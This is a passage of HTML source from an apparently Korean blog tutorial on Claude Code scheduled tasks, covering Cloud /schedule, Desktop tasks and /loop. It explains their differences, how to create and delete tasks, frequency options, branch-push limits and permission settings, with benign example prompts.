  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
        &lt;th style=&quot;padding: 8px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Cloud (/schedule)
        &lt;/th&gt;
        &lt;th style=&quot;padding: 8px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Desktop&lt;/th&gt;
        &lt;th style=&quot;padding: 8px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;/loop (CLI)&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;실행 환경&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;Anthropic 클라우드&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;내 머신&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;내 머신&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;머신 꺼도 실행?&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;예&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;아니오 (앱 열려야 함)&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;아니오 (세션 열려야 함)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;재시작 후 유지?&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;예&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;예&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;아니오 (세션 종료 시 삭제)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;로컬 파일 접근&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;아니오 (매번 fresh clone)&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;예&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;예&lt;/b&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;최소 간격&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;1시간&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;1분&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;1분&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;권한 프롬프트&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;없음 (자율 실행)&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;태스크별 설정 가능&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;세션 설정 상속&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;태스크 만료&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;없음 (영구)&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;없음 (영구)&lt;/td&gt;
        &lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;&lt;b&gt;반복 태스크 3일 후 자동 만료&lt;/b&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한 줄 요약: &lt;b&gt;&quot;노트북 닫아도 돌아가야 한다&quot; &amp;rarr; Cloud. &quot;로컬 파일을 만져야 한다&quot;
      &amp;rarr; Desktop. &quot;지금 이 세션에서 반복하고 싶다&quot; &amp;rarr; /loop.&lt;/b&gt;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 2 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Cloud Scheduled Tasks (/schedule)&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 강력한 옵션이다. Anthropic 클라우드에서 실행되므로 내 머신 상태와 무관하다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #f0e8ff; border-left: 4px solid #7c3aed; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;가장 간단한 예시 — 이런 느낌이다&lt;/b&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 12px 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
      &lt;pre style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;# CLI에서 한 줄로 — 노트북 꺼도 매일 실행
/schedule daily at 9am: 리포지토리에 새로운 TODO 주석이 추가됐는지 확인하고 결과를 보고해라.&lt;/pre&gt;
    &lt;/div&gt;
    &lt;p style=&quot;margin: 8px 0 0 0; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;이 한 줄이면 Anthropic 서버에 크론잡이 등록된다. 내 컴퓨터가 꺼져 있어도
      매일 오전 9시에 실행된다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;생성 방법&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;세 가지 진입점이 있다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 방법 1: CLI에서 대화형으로 생성
/schedule

# 방법 2: 설명과 함께 한 줄로 생성
/schedule daily PR review at 9am

# 방법 3: 기존 태스크 관리
/schedule list       # 모든 태스크 목록
/schedule update     # 태스크 수정 / 삭제
/schedule run        # 즉시 실행&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1904&quot; data-origin-height=&quot;148&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eMrIDR/dJMcacieV0N/gvXO1mjOOBXX61BKxfMLnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eMrIDR/dJMcacieV0N/gvXO1mjOOBXX61BKxfMLnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eMrIDR/dJMcacieV0N/gvXO1mjOOBXX61BKxfMLnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeMrIDR%2FdJMcacieV0N%2FgvXO1mjOOBXX61BKxfMLnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1904&quot; height=&quot;148&quot; data-origin-width=&quot;1904&quot; data-origin-height=&quot;148&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;웹에서는 &lt;a href=&quot;https://claude.ai/code/scheduled&quot; target=&quot;_blank&quot;
      rel=&quot;noopener&quot;&gt;claude.ai/code/scheduled&lt;/a&gt;에 접속하여 &quot;New scheduled task&quot;를 클릭한다.&lt;/p&gt;
  &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;704&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dXnRw3/dJMcaco0kOD/mlnEEE54GXYG7dOpNADmP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dXnRw3/dJMcaco0kOD/mlnEEE54GXYG7dOpNADmP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dXnRw3/dJMcaco0kOD/mlnEEE54GXYG7dOpNADmP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdXnRw3%2FdJMcaco0kOD%2FmlnEEE54GXYG7dOpNADmP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1548&quot; height=&quot;704&quot; data-origin-width=&quot;1548&quot; data-origin-height=&quot;704&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Desktop 앱에서는 사이드바의 Schedule 페이지에서 생성할 수 있다.&lt;/p&gt;
  &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1828&quot; data-origin-height=&quot;678&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVnx80/dJMcagStTfg/Kc1fOkBsMFF2wLqkLym091/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVnx80/dJMcagStTfg/Kc1fOkBsMFF2wLqkLym091/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVnx80/dJMcagStTfg/Kc1fOkBsMFF2wLqkLym091/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVnx80%2FdJMcagStTfg%2FKc1fOkBsMFF2wLqkLym091%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1828&quot; height=&quot;678&quot; data-origin-width=&quot;1828&quot; data-origin-height=&quot;678&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스케줄 옵션&lt;/h3&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;빈도&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Hourly&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;매시간 실행&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Daily&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;하루 1회, 지정 시간 (기본 오전 9시 로컬)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Weekdays&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Daily와 동일하되 토/일 제외&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Weekly&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;주 1회, 지정 요일과 시간&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;매 2시간&quot; 같은 커스텀 간격이 필요하면 가장 가까운 프리셋을 선택한 뒤
    &lt;code&gt;/schedule update&lt;/code&gt;로 조정한다.
  &lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cloud 태스크도 실행 시점에 약간의 지연(deterministic stagger)이 있어 정확히 정시에 시작되지
    않을 수 있다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #f0e8ff; border-left: 4px solid #7c3aed; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;빈도별 한 줄 예시&lt;/b&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 12px 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
      &lt;pre style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;/schedule hourly: GitHub Actions 실패 여부를 확인하고 실패 시 보고해라.
/schedule daily at 9am: 열린 PR을 검토하고 요약 코멘트를 달아라.
/schedule weekdays at 8:30am: 의존성에 새 보안 취약점이 있는지 스캔해라.
/schedule weekly on Monday at 10am: 주간 코드 품질 리포트를 생성해라.&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;리포지토리와 브랜치
    규칙&lt;/h3&gt;
  &lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;매 실행마다 리포지토리를 &lt;b&gt;fresh clone&lt;/b&gt;한다 (기본 브랜치 기준)&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Claude가 push할 수 있는 브랜치는 기본적으로 &lt;b&gt;&lt;code&gt;claude/&lt;/code&gt; 접두사&lt;/b&gt;가 붙은 것만 허용&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;리포별 &quot;Allow unrestricted branch pushes&quot;를 켜면 이 제한을 해제할 수 있다&lt;/li&gt;
  &lt;/ul&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;브랜치 제한은 안전장치다&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Cloud 태스크는 권한 프롬프트 없이 자율 실행되므로, &lt;code&gt;claude/&lt;/code&gt; 접두사 제한이
      main에 직접 push하는 사고를 방지한다. 무제한 push를 켤 때는 신중해야 한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커넥터와 환경&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cloud 태스크는 MCP 커넥터(Slack, Linear, Google Drive 등)를 사용할 수 있다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://claude.ai&quot; target=&quot;_blank&quot;
      rel=&quot;noopener&quot;&gt;claude.ai&lt;/a&gt;의 Settings &amp;gt; Connectors에서 연결된 모든 커넥터가 기본 포함된다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;각 태스크는 네트워크 접근, 환경변수, 셋업 스크립트를 제어하는 &quot;환경(Environment)&quot;에서 실행된다.
  &lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Cloud 태스크
    중단하기&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;# 등록된 태스크 목록 확인
/schedule list

# 태스크 수정 · 삭제 (대화형으로 선택)
/schedule update&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;웹에서 중단하려면 &lt;a href=&quot;https://claude.ai/code/scheduled&quot;
      target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude.ai/code/scheduled&lt;/a&gt;에 접속해 태스크를 선택하고 &lt;b&gt;Delete&lt;/b&gt;를 누른다. Desktop 앱에서는 사이드바
    Schedule 페이지에서 해당 태스크를 클릭한 뒤 삭제한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 3 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Desktop Scheduled Tasks&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;로컬 vs 리모트
  &lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Desktop 앱에서는 두 종류의 태스크를 만들 수 있다.&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;로컬 태스크&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;리모트 태스크&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;실행 위치&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;내 머신&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 클라우드&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;파일 접근&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;로컬 파일/도구 직접 접근&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;fresh clone만&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;앱 필요?&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;예 (열려 있어야)&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;아니오&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;권한과 실행 조건
  &lt;/h3&gt;
  &lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;각 태스크마다 독립적인 권한 모드 설정 가능&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;~/.claude/settings.json&lt;/code&gt;의 allow 규칙이 적용됨&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Ask 모드에서 승인 안 된 도구를 쓰면 &lt;b&gt;실행이 멈춤&lt;/b&gt; &amp;rarr; 사용자가 승인해야 진행&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;태스크 프롬프트는 &lt;code&gt;~/.claude/scheduled-tasks/&amp;lt;task-name&amp;gt;/SKILL.md&lt;/code&gt;에 저장됨
    &lt;/li&gt;
  &lt;/ul&gt;
  &lt;div
    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;팁: 첫 실행 시 &quot;Run now&quot; 클릭&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;태스크를 만든 직후 &quot;Run now&quot;로 한 번 실행하고, 필요한 도구에 &quot;always allow&quot;를 설정하면 이후
      자동 실행 시 멈추지 않는다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앱이 닫혀 있거나 컴퓨터가 잠들면 실행이 밀린다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다시 열면 &lt;b&gt;최근 7일 내 놓친 실행 중 가장 마지막 1회&lt;/b&gt;만 자동으로 실행한다 (여러 번 놓쳐도
    1회만).&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Desktop 태스크 생성 시 주요 필드는 다음과 같다.&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;필드&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Name&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;소문자 kebab-case로 변환. 디스크 폴더명으로 사용&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Description&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;태스크 목록에 표시되는 요약&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Prompt&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude에게 보내는 지시. 모델, 권한 모드, 워킹 폴더, 워크트리 설정 포함&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Frequency&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Manual / Hourly / Daily / Weekdays / Weekly. 커스텀은 자연어로 요청
        &lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;각 태스크 실행에는 &lt;b&gt;최대 10분의 고정 지연&lt;/b&gt;이 추가된다 (태스크 ID 기반, 매번 동일). 정각에
    정확히 실행되지 않는다는 점을 감안해야 한다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;Desktop은 uncommitted 변경사항도 본다&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;로컬 태스크는 현재 워킹 디렉토리 상태를 그대로 사용한다. 커밋하지 않은 변경사항도 포함된다. 작업 중인 코드에
      태스크가 영향을 주지 않도록 하려면, 태스크 생성 시 &lt;b&gt;워크트리 격리&lt;/b&gt;를 켜는 것을 권장한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f0e8ff; border-left: 4px solid #7c3aed; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;Desktop 태스크 프롬프트 — 이런 느낌이다&lt;/b&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 12px 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
      &lt;pre style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;# 매일 오전 9시 — 로컬 파일을 직접 읽고 쓴다
~/projects/my-app 폴더에서 어제 추가된 TODO 주석을 찾아
~/Documents/todo-report.md 파일에 날짜별로 정리해 추가해라.&lt;/pre&gt;
    &lt;/div&gt;
